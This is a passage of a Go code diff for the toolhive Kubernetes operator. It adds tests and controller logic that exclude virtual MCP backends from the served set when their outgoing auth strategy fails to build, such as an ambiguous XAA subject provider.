-1183,6 +1176,7 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig wantSubjectProviderName string wantSamePointer bool + wantErr error }{ { name: "nil_strategy_returned_unchanged", @@ -1192,92 +1186,27 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { }, { name: "nil_embedded_config_returned_unchanged", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: nil, wantSamePointer: true, }, - { - name: "non_token_exchange_strategy_returned_unchanged", - strategy: &authtypes.BackendAuthStrategy{ - Type: authtypes.StrategyTypeHeaderInjection, - HeaderInjection: &authtypes.HeaderInjectionConfig{ - HeaderName: "Authorization", - HeaderValue: "Bearer token", - }, - }, - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - }, - { - name: "already_set_subject_provider_not_overridden", - strategy: tokenExchangeStrategy("explicit-provider"), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - wantSubjectProviderName: "explicit-provider", - }, { name: "named_upstream_populates_subject_provider", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: embeddedAuthServerCfg("github"), wantSubjectProviderName: "github", }, - { - name: "unnamed_upstream_falls_back_to_default", - strategy: tokenExchangeStrategy(""), - embeddedCfg: embeddedAuthServerCfg(""), - wantSubjectProviderName: authserver.DefaultUpstreamName, - }, - { - name: "empty_upstream_providers_falls_back_to_default", - strategy: tokenExchangeStrategy(""), - embeddedCfg: embeddedAuthServerCfg(), // no upstreams - wantSubjectProviderName: authserver.DefaultUpstreamName, - }, { name: "first_upstream_used_when_multiple_configured", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: embeddedAuthServerCfg("first", "second"), wantSubjectProviderName: "first", }, - // aws_sts strategy cases - { - name: "aws_sts_populates_subject_provider_name", - strategy: awsStsStrategy(""), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSubjectProviderName: "github", - }, - { - name: "aws_sts_already_set_provider_not_overridden", - strategy: awsStsStrategy("explicit-provider"), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - wantSubjectProviderName: "explicit-provider", - }, - { - name: "aws_sts_nil_AwsSts_config_returned_unchanged", - strategy: &authtypes.BackendAuthStrategy{Type: authtypes.StrategyTypeAwsSts, AwsSts: nil}, - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - }, - // xaa strategy cases - { - name: "xaa_populates_subject_provider_name", - strategy: xaaStrategy(""), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSubjectProviderName: "github", - }, { - name: "xaa_already_set_provider_not_overridden", - strategy: xaaStrategy("explicit-provider"), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - wantSubjectProviderName: "explicit-provider", - }, - { - name: "xaa_nil_XAA_config_returned_unchanged", - strategy: &authtypes.BackendAuthStrategy{Type: authtypes.StrategyTypeXAA, XAA: nil}, - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, + name: "xaa_ambiguous_multiple_upstreams_returns_error", + strategy: xaaStrategy(""), + embeddedCfg: embeddedAuthServerCfg("first", "second"), + wantErr: authtypes.ErrAmbiguousSubjectProvider, }, } @@ -1285,50 +1214,27 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { t.Run(tt.name, func(t *testing.T) { t.Parallel() - result := injectSubjectProviderIfNeeded(tt.strategy, tt.embeddedCfg) + result, err := injectSubjectProviderIfNeeded(tt.strategy, tt.embeddedCfg) + + if tt.wantErr != nil { + require.ErrorIs(t, err, tt.wantErr) + assert.Nil(t, result) + return + } + require.NoError(t, err) if tt.wantSamePointer { assert.Same(t, tt.strategy, result) - // When the pointer is unchanged and a provider was set, verify it wasn't mutated. - if tt.wantSubjectProviderName != "" && result != nil { - switch { - case result.TokenExchange != nil: - assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) - case result.AwsSts != nil: - assert.Equal(t, tt.wantSubjectProviderName, result.AwsSts.SubjectProviderName) - case result.XAA != nil: - assert.Equal(t, tt.wantSubjectProviderName, result.XAA.SubjectProviderName) - } - } return } require.NotNil(t, result) - switch result.Type { - case authtypes.StrategyTypeTokenExchange: - require.NotNil(t, result.TokenExchange) - assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) - // Verify the original strategy was not mutated. - if tt.strategy != nil && tt.strategy.TokenExchange != nil { - assert.Empty(t, tt.strategy.TokenExchange.SubjectProviderName, - "original strategy must not be mutated") - } - case authtypes.StrategyTypeAwsSts: - require.NotNil(t, result.AwsSts) - assert.Equal(t, tt.wantSubjectProviderName, result.AwsSts.SubjectProviderName) - // Verify the original strategy was not mutated. - if tt.strategy != nil && tt.strategy.AwsSts != nil { - assert.Empty(t, tt.strategy.AwsSts.SubjectProviderName, - "original strategy must not be mutated") - } - case authtypes.StrategyTypeXAA: - require.NotNil(t, result.XAA) - assert.Equal(t, tt.wantSubjectProviderName, result.XAA.SubjectProviderName) - // Verify the original strategy was not mutated. - if tt.strategy != nil && tt.strategy.XAA != nil { - assert.Empty(t, tt.strategy.XAA.SubjectProviderName, - "original strategy must not be mutated") - } + require.NotNil(t, result.TokenExchange) + assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) + // Verify the original strategy was not mutated. + if tt.strategy != nil && tt.strategy.TokenExchange != nil { + assert.Empty(t, tt.strategy.TokenExchange.SubjectProviderName, + "original strategy must not be mutated") } }) } @@ -1802,6 +1708,137 @@ func TestBuildOutgoingAuthConfig_InlineBackendSubjectProviderInjection(t *testin "inline backend SubjectProviderName should be injected from first upstream") } +// TestBuildOutgoingAuthConfig_XAAAmbiguousSubjectProviderError verifies the +// #5697 hard-error path: an xaa strategy with an empty SubjectProviderName +// and 2+ configured upstreams must surface a non-fatal AuthConfigError with +// Reason "AmbiguousSubjectProvider" and must NOT be assigned into the +// resulting config, for all three call-site shapes in buildOutgoingAuthConfig +// (Default, inline Backends override, discovered backend). A fourth, +// unaffected token_exchange backend in the same call must still succeed, +// proving this is a per-backend condition rather than a whole-function failure. +func TestBuildOutgoingAuthConfig_XAAAmbiguousSubjectProviderError(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + xaaSpec := func() *mcpv1beta1.XAASpec { + return &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + // SubjectProviderName intentionally left empty + } + } + + defaultAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-default-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + inlineAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-inline-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + discoveredAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-discovered-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + // Unaffected backend: token_exchange never hard-errors on ambiguity, so it + // must still be defaulted and assigned in the same buildOutgoingAuthConfig call. + tokenExchangeAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "te-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + // SubjectProviderName intentionally left empty + }, + }, + } + + discoveredServer := v1beta1test.NewMCPServer("xaa-discovered-backend", "default", + v1beta1test.WithExternalAuthConfigRef("xaa-discovered-auth"), + ) + unaffectedServer := v1beta1test.NewMCPServer("token-exchange-backend", "default", + v1beta1test.WithExternalAuthConfigRef("te-auth"), + ) + + vmcp := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "discovered", + Default: &mcpv1beta1.BackendAuthConfig{ + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{ + Name: "xaa-default-auth", + }, + }, + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "xaa-inline-backend": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{ + Name: "xaa-inline-auth", + }, + }, + }, + }), + // 2 upstreams makes the xaa strategies above ambiguous; token_exchange + // is unaffected and defaults to the first one ("first"). + v1beta1test.WithVMCPAuthServerConfig(embeddedAuthServerCfg("first", "second")), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects( + vmcp, discoveredServer, unaffectedServer, + defaultAuthConfig, inlineAuthConfig, discoveredAuthConfig, tokenExchangeAuthConfig, + ). + Build() + + r := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + workloadNames := []workloads.TypedWorkload{ + {Name: "xaa-discovered-backend", Type: workloads.WorkloadTypeMCPServer}, + {Name: "token-exchange-backend", Type: workloads.WorkloadTypeMCPServer}, + } + + config, _, allAuthErrors := r.buildOutgoingAuthConfig(context.Background(), vmcp, workloadNames) + + require.NotNil(t, config) + + // All 3 ambiguous xaa call sites produced a non-fatal AuthConfigError... + require.Len(t, allAuthErrors, 3) + errorsByContext := make(map[string]AuthConfigError, len(allAuthErrors)) + for _, authErr := range allAuthErrors { + errorsByContext[authErr.Context] = authErr + } + for _, wantContext := range []string{ + authContextDefault, + authContextBackendPrefix + "xaa-inline-backend", + authContextDiscoveredPrefix + "xaa-discovered-backend", + } { + authErr, ok := errorsByContext[wantContext] + require.True(t, ok, "expected an AuthConfigError with Context %q", wantContext) + assert.Equal(t, authReasonAmbiguousSubjectProvider, authErr.Reason) + assert.ErrorIs(t, authErr.Error, authtypes.ErrAmbiguousSubjectProvider) + } + + // ...and none of them were assigned into the resulting config. + assert.Nil(t, config.Default) + assert.NotContains(t, config.Backends, "xaa-inline-backend") + assert.NotContains(t, config.Backends, "xaa-discovered-backend") + + // The unaffected token_exchange backend still reconciles successfully in + // the same call, proving this is a per-backend condition, not a + // whole-function failure. + require.Contains(t, config.Backends, "token-exchange-backend") + require.NotNil(t, config.Backends["token-exchange-backend"].TokenExchange) + assert.Equal(t, "first", config.Backends["token-exchange-backend"].TokenExchange.SubjectProviderName) +} + // TestGetExternalAuthConfigSecretEnvVars_XAA verifies the XAA arm of // getExternalAuthConfigSecretEnvVars: it must return one env var per configured // SecretKeyRef (IdP and/or target), sourced from the referenced Secret, with diff --git a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go index b4c4956371..a3d553ce70 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go @@ -21,6 +21,7 @@ import ( "github.com/stacklok/toolhive/pkg/groups" vmcptypes "github.com/stacklok/toolhive/pkg/vmcp" "github.com/stacklok/toolhive/pkg/vmcp/aggregator" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/workloads" ) @@ -351,6 +352,41 @@ func extractInlineBackendNames(vmcp *mcpv1beta1.VirtualMCPServer) []string { return names } +// backendsWithFailedAuth returns the set of backend names whose outgoing auth strategy +// failed to build (conversion error, mirrored-invalid source, or subject-provider +// injection error). These backends must never be served: since ResolveForBackend falls +// through to Default for any backend absent from OutgoingAuthConfig.Backends, silently +// omitting a failed backend from that map is not enough to keep it from being routed to +// with the wrong (Default) identity — it must also be dropped from the served backend set. +// +// Default-only errors (empty BackendName) are excluded here: they aren't tied to a +// specific backend, and a backend that falls through to a nil Default degrades to the +// explicit "unauthenticated" strategy rather than picking up a different identity. +// +// A backend name recorded in authErrors is only added to the exclusion set if it also +// lacks a successfully-resolved strategy in resolvedBackends. A backend can accumulate an +// error from one path (e.g. a broken discovered ExternalAuthConfigRef) while still ending +// up with a valid strategy from another (e.g. an inline override) — discoverExternalAuthConfigs +// records the discovered-path error before checking whether an inline override makes the +// discovered result irrelevant. Excluding such a backend would drop a fully routable backend +// from the served set. +func backendsWithFailedAuth( + authErrors []AuthConfigError, + resolvedBackends map[string]*authtypes.BackendAuthStrategy, +) map[string]struct{} { + failed := make(map[string]struct{}) + for _, authErr := range authErrors { + if authErr.BackendName == "" { + continue + } + if resolvedBackends[authErr.BackendName] != nil { + continue + } + failed[authErr.BackendName] = struct{}{} + } + return failed +} + // determineValidInlineBackends determines which inline backends have valid auth configs. func determineValidInlineBackends(authConfig *vmcpconfig.OutgoingAuthConfig, inlineBackendNames []string) []string { if authConfig == nil || authConfig.Backends == nil { @@ -397,6 +433,15 @@ func (r *VirtualMCPServerReconciler) processOutgoingAuth( // All errors are non-fatal - the system continues in degraded mode with partial auth config authConfig, backendsWithAuthConfig, allAuthErrors := r.buildOutgoingAuthConfig(ctx, vmcp, typedWorkloads) + // Backends whose auth strategy failed to build must be excluded from the served + // set entirely — see backendsWithFailedAuth for why omission from + // authConfig.Backends alone is not sufficient. + var resolvedBackends map[string]*authtypes.BackendAuthStrategy + if authConfig != nil { + resolvedBackends = authConfig.Backends + } + excludedBackends := backendsWithFailedAuth(allAuthErrors, resolvedBackends) + // Extract inline backend names and determine valid auth configs inlineBackendNames := extractInlineBackendNames(vmcp) hasValidDefaultAuth := authConfig != nil && authConfig.Default != nil @@ -437,7 +482,7 @@ func (r *VirtualMCPServerReconciler) processOutgoingAuth( return fmt.Errorf("failed to build CA bundle path map for static mode: %w", err) } - config.Backends = convertBackendsToStaticBackends(ctx, backends, transportMap, caBundlePathMap) + config.Backends = convertBackendsToStaticBackends(ctx, backends, transportMap, caBundlePathMap, excludedBackends) // Validate at least one backend exists if len(config.Backends) == 0 { diff --git a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go index 378098431a..1977f9ae84 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go @@ -1727,6 +1727,326 @@ func TestConfigMapContent_StaticModeWithDiscovery(t *testing.T) { t.Log("Static mode ConfigMap contains both auth configs, backend URLs/transports, and metadata") } +// TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth is a regression test for the +// fail-open bug where a backend whose outgoing auth strategy failed to build (here, an xaa +// strategy with an empty SubjectProviderName made ambiguous by 2 configured upstreams) was +// correctly omitted from config.OutgoingAuth.Backends, but was still embedded in the static +// config.Backends list served to the vMCP runtime. Since OutgoingAuthConfig.ResolveForBackend +// falls through to Default for any backend absent from Backends, that backend would have been +// silently served with the Default (token_exchange) identity instead of being unroutable. +// +// This test exercises the full ensureVmcpConfigConfigMap pipeline (not just +// buildOutgoingAuthConfig in isolation) and asserts the failed backend is absent from BOTH +// config.OutgoingAuth.Backends and the served config.Backends list, while an unaffected +// backend relying on the same Default strategy is still served. +func TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth(t *testing.T) { + t.Parallel() + + const ( + issuer = "https://auth.example.com" + audience = "https://api.example.com" + ) + + ctx := context.Background() + testScheme := testutil.NewScheme(t) + + mcpGroup := &mcpv1beta1.MCPGroup{ + ObjectMeta: metav1.ObjectMeta{Name: "test-group", Namespace: "default"}, + Status: mcpv1beta1.MCPGroupStatus{Phase: mcpv1beta1.MCPGroupPhaseReady}, + } + + // An embedded auth server requires OIDC incoming auth, and the two must agree on + // issuer/audience (ValidateAuthServerIntegration) — this is plumbing required to + // reach the xaa ambiguity check, not itself under test. + oidcConfig := &mcpv1beta1.MCPOIDCConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "test-oidc", Namespace: "default"}, + Spec: mcpv1beta1.MCPOIDCConfigSpec{ + Type: mcpv1beta1.MCPOIDCConfigTypeInline, + Inline: &mcpv1beta1.InlineOIDCSharedConfig{Issuer: issuer}, + }, + } + + // b1's override strategy is xaa with an empty SubjectProviderName, which becomes + // ambiguous once 2 upstream providers are configured on the embedded auth server below. + xaaAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + // SubjectProviderName intentionally left empty. + }, + }, + } + + // Default strategy is a valid token_exchange config, used by b2. + tokenExchangeAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "te-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + }, + }, + } + + b1 := v1beta1test.NewMCPServer("b1", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b1.default.svc.cluster.local:8080", + }), + ) + b2 := v1beta1test.NewMCPServer("b2", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b2.default.svc.cluster.local:8080", + }), + ) + + vmcpServer := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPIncomingAuth(&mcpv1beta1.IncomingAuthConfig{ + Type: "oidc", + OIDCConfigRef: &mcpv1beta1.MCPOIDCConfigReference{ + Name: "test-oidc", + Audience: audience, + ResourceURL: audience, + }, + }), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "inline", + Default: &mcpv1beta1.BackendAuthConfig{ + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "te-auth"}, + }, + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "b1": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "xaa-auth"}, + }, + }, + }), + // 2 upstreams makes b1's xaa override ambiguous. + v1beta1test.WithVMCPAuthServerConfig(&mcpv1beta1.EmbeddedAuthServerConfig{ + Issuer: issuer, + SigningKeySecretRefs: []mcpv1beta1.SecretKeyRef{ + {Name: "signing-key-secret", Key: "key.pem"}, + }, + UpstreamProviders: []mcpv1beta1.UpstreamProviderConfig{ + { + Name: "first", + Type: mcpv1beta1.UpstreamProviderTypeOIDC, + OIDCConfig: &mcpv1beta1.OIDCUpstreamConfig{ + IssuerURL: "https://first-idp.example.com", + ClientID: "first-client-id", + }, + }, + { + Name: "second", + Type: mcpv1beta1.UpstreamProviderTypeOIDC, + OIDCConfig: &mcpv1beta1.OIDCUpstreamConfig{ + IssuerURL: "https://second-idp.example.com", + ClientID: "second-client-id", + }, + }, + }, + }), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(testScheme). + WithObjects(vmcpServer, mcpGroup, b1, b2, xaaAuthConfig, tokenExchangeAuthConfig, oidcConfig). + WithStatusSubresource(b1, b2). + Build() + + reconciler := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: testScheme, + } + + workloadDiscoverer := workloads.NewK8SDiscovererWithClient(fakeClient, vmcpServer.Namespace) + workloadNames, err := workloadDiscoverer.ListWorkloadsInGroup(ctx, vmcpServer.ResolveGroupName()) + require.NoError(t, err) + require.Len(t, workloadNames, 2, "should have discovered both backends") + + statusCollector := virtualmcpserverstatus.NewStatusManager(vmcpServer) + err = reconciler.ensureVmcpConfigConfigMap(ctx, vmcpServer, workloadNames, nil, statusCollector) + require.NoError(t, err, "reconciliation must succeed in degraded mode, not fail outright") + + configMap := &corev1.ConfigMap{} + err = fakeClient.Get(ctx, types.NamespacedName{ + Name: vmcpConfigMapName("test-vmcp"), + Namespace: "default", + }, configMap) + require.NoError(t, err) + + var config vmcpconfig.Config + err = yaml.Unmarshal([]byte(configMap.Data["config.yaml"]), &config) + require.NoError(t, err) + + require.NotNil(t, config.OutgoingAuth) + require.NotNil(t, config.OutgoingAuth.Default, "Default strategy must still build successfully") + assert.Equal(t, "token_exchange", config.OutgoingAuth.Default.Type) + assert.NotContains(t, config.OutgoingAuth.Backends, "b1", + "b1's ambiguous xaa override must not be assigned") + + // The actual regression: b1 must be excluded from the served/routable backend set + // entirely, not merely absent from OutgoingAuth.Backends while still reachable and + // falling back to Default at runtime. + servedNames := make([]string, 0, len(config.Backends)) + for _, backend := range config.Backends { + servedNames = append(servedNames, backend.Name) + } + assert.NotContains(t, servedNames, "b1", "b1 must be excluded from the served backend set") + assert.Contains(t, servedNames, "b2", "b2 must still be served via the valid Default strategy") +} + +// TestConfigMapContent_StaticMode_KeepsBackendWithValidInlineOverrideDespiteDiscoveredError +// is a regression test for an over-exclusion bug introduced by the fix for +// TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth: backendsWithFailedAuth +// excluded a backend from the served set whenever ANY AuthConfigError named it, even if +// that same backend also had a fully valid, resolved strategy from another source. +// +// b1 here has both: a discovered ExternalAuthConfigRef on its own MCPServer spec that +// mirrors a Valid=False condition (mirroredExternalAuthConfigInvalid), which makes +// discoverExternalAuthConfigs record an AuthConfigError for "b1" unconditionally, and a +// valid inline override in vmcp.Spec.OutgoingAuth.Backends["b1"], applied in a separate, +// unconditional pass that ends up correctly populated in authConfig.Backends. +// discoverExternalAuthConfigs records the mirrored-invalid error before it even checks +// whether an inline override exists, so both the error and the valid strategy coexist for +// the same backend name. b1 must still be served using its valid inline strategy. +// +// The Valid=False mirror check is unique to the operator's own discovery path +// (mirroredExternalAuthConfigInvalid) and is not replicated by the independent backend +// discovery in pkg/vmcp/workloads (converters.DiscoverAndResolveAuth), so this scenario +// does not also trip that unrelated fail-closed mechanism. +func TestConfigMapContent_StaticMode_KeepsBackendWithValidInlineOverrideDespiteDiscoveredError(t *testing.T) { + t.Parallel() + + ctx := context.Background() + testScheme := testutil.NewScheme(t) + + mcpGroup := &mcpv1beta1.MCPGroup{ + ObjectMeta: metav1.ObjectMeta{Name: "test-group", Namespace: "default"}, + Status: mcpv1beta1.MCPGroupStatus{Phase: mcpv1beta1.MCPGroupPhaseReady}, + } + + // The valid inline override strategy for b1. + validAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "valid-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + }, + }, + } + + // b1's own discovered ref exists and is otherwise convertible, but carries a + // Valid=False condition (e.g. as set by a validating webhook/controller). This + // makes discoverExternalAuthConfigs record an AuthConfigError for "b1" without + // affecting the independent, condition-agnostic auth discovery used for backend + // listing (converters.DiscoverAndResolveAuth), so b1 remains discoverable. + invalidRefAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "invalid-ref-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://broken.example.com/token", + }, + }, + Status: mcpv1beta1.MCPExternalAuthConfigStatus{ + Conditions: []metav1.Condition{ + { + Type: mcpv1beta1.ConditionTypeValid, + Status: metav1.ConditionFalse, + Reason: "SomeValidationFailure", + Message: "this config is not valid", + LastTransitionTime: metav1.Now(), + }, + }, + }, + } + + b1 := v1beta1test.NewMCPServer("b1", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithExternalAuthConfigRef("invalid-ref-auth"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b1.default.svc.cluster.local:8080", + }), + ) + + vmcpServer := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPIncomingAuth(&mcpv1beta1.IncomingAuthConfig{ + Type: "anonymous", + }), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "b1": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "valid-auth"}, + }, + }, + }), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(testScheme). + WithObjects(vmcpServer, mcpGroup, b1, validAuthConfig, invalidRefAuthConfig). + WithStatusSubresource(b1, invalidRefAuthConfig). + Build() + + reconciler := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: testScheme, + } + + workloadDiscoverer := workloads.NewK8SDiscovererWithClient(fakeClient, vmcpServer.Namespace) + workloadNames, err := workloadDiscoverer.ListWorkloadsInGroup(ctx, vmcpServer.ResolveGroupName()) + require.NoError(t, err) + require.Len(t, workloadNames, 1, "should have discovered b1") + + statusCollector := virtualmcpserverstatus.NewStatusManager(vmcpServer) + err = reconciler.ensureVmcpConfigConfigMap(ctx, vmcpServer, workloadNames, nil, statusCollector) + require.NoError(t, err, "reconciliation must succeed despite the discovered-path error") + + configMap := &corev1.ConfigMap{} + err = fakeClient.Get(ctx, types.NamespacedName{ + Name: vmcpConfigMapName("test-vmcp"), + Namespace: "default", + }, configMap) + require.NoError(t, err) + + var config vmcpconfig.Config + err = yaml.Unmarshal([]byte(configMap.Data["config.yaml"]), &config) + require.NoError(t, err) + + require.NotNil(t, config.OutgoingAuth) + b1Strategy, exists := config.OutgoingAuth.Backends["b1"] + require.True(t, exists, "b1's valid inline override must still be assigned") + require.NotNil(t, b1Strategy) + assert.Equal(t, "token_exchange", b1Strategy.Type) + + // The actual regression: b1 must remain in the served/routable backend set because it + // has a valid, resolved strategy, even though an AuthConfigError was also recorded for + // it via the unrelated broken discovered ref. + servedNames := make([]string, 0, len(config.Backends)) + for _, backend := range config.Backends { + servedNames = append(servedNames, backend.Name) + } + assert.Contains(t, servedNames, "b1", "b1 must not be excluded when it has a valid resolved strategy") +} + // TestConvertBackendsToStaticBackends_SkipsInvalidBackends tests that backends // without URL or transport are skipped with appropriate logging func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { @@ -1759,7 +2079,7 @@ func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { // "no-transport-backend" intentionally missing } - result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil) + result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil, nil) // Should only include the valid backend assert.Len(t, result, 1, "should only include backends with URL and transport") @@ -1769,6 +2089,35 @@ func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { assert.Equal(t, "value", result[0].Metadata["key"]) } +// TestConvertBackendsToStaticBackends_ExcludesFailedAuthBackends verifies that a backend +// named in excludedBackends is dropped from the served set even though it otherwise has a +// valid URL and transport. This is the fix for the fail-open bug where a backend whose +// outgoing auth strategy failed to build (e.g. an ambiguous XAA SubjectProviderName) would +// still be embedded in the static backend list and silently fall back to the Default auth +// strategy at runtime. +func TestConvertBackendsToStaticBackends_ExcludesFailedAuthBackends(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + backends := []vmcp.Backend{ + {Name: "healthy-backend", BaseURL: "http://backend1:8080", TransportType: "sse"}, + {Name: "failed-auth-backend", BaseURL: "http://backend2:8080", TransportType: "sse"}, + } + transportMap := map[string]string{ + "healthy-backend": "sse", + "failed-auth-backend": "sse", + } + excludedBackends := map[string]struct{}{ + "failed-auth-backend": {}, + } + + result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil, excludedBackends) + + require.Len(t, result, 1, "the excluded backend must not be served") + assert.Equal(t, "healthy-backend", result[0].Name) +} + // TestStaticModeTransportConstants verifies that the transport constants match the CRD enum. // This test ensures consistency between runtime validation and CRD schema validation. func TestStaticModeTransportConstants(t *testing.T) { @@ -2247,7 +2596,7 @@ func TestConvertBackendsToStaticBackends_WithCABundlePathMap(t *testing.T) { t.Run(tt.name, func(t *testing.T) { t.Parallel() - result := convertBackendsToStaticBackends(t.Context(), tt.backends, tt.transportMap, 